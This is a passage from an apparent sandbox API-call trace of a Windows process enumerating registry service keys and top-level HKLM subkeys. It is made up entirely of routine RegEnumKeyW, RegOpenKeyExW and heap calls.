cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.819] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.819] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0228.819] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0228.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.820] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1cd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0228.820] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.821] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.822] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.823] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.824] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.825] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.826] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.827] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.828] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.829] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.830] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.830] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.830] RegCloseKey (hKey=0xc4) returned 0x0 [0228.830] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.830] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.830] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.830] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.831] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.831] RegCloseKey (hKey=0x154) returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.831] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.831] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.832] RegCloseKey (hKey=0xc4) returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.832] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.841] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, 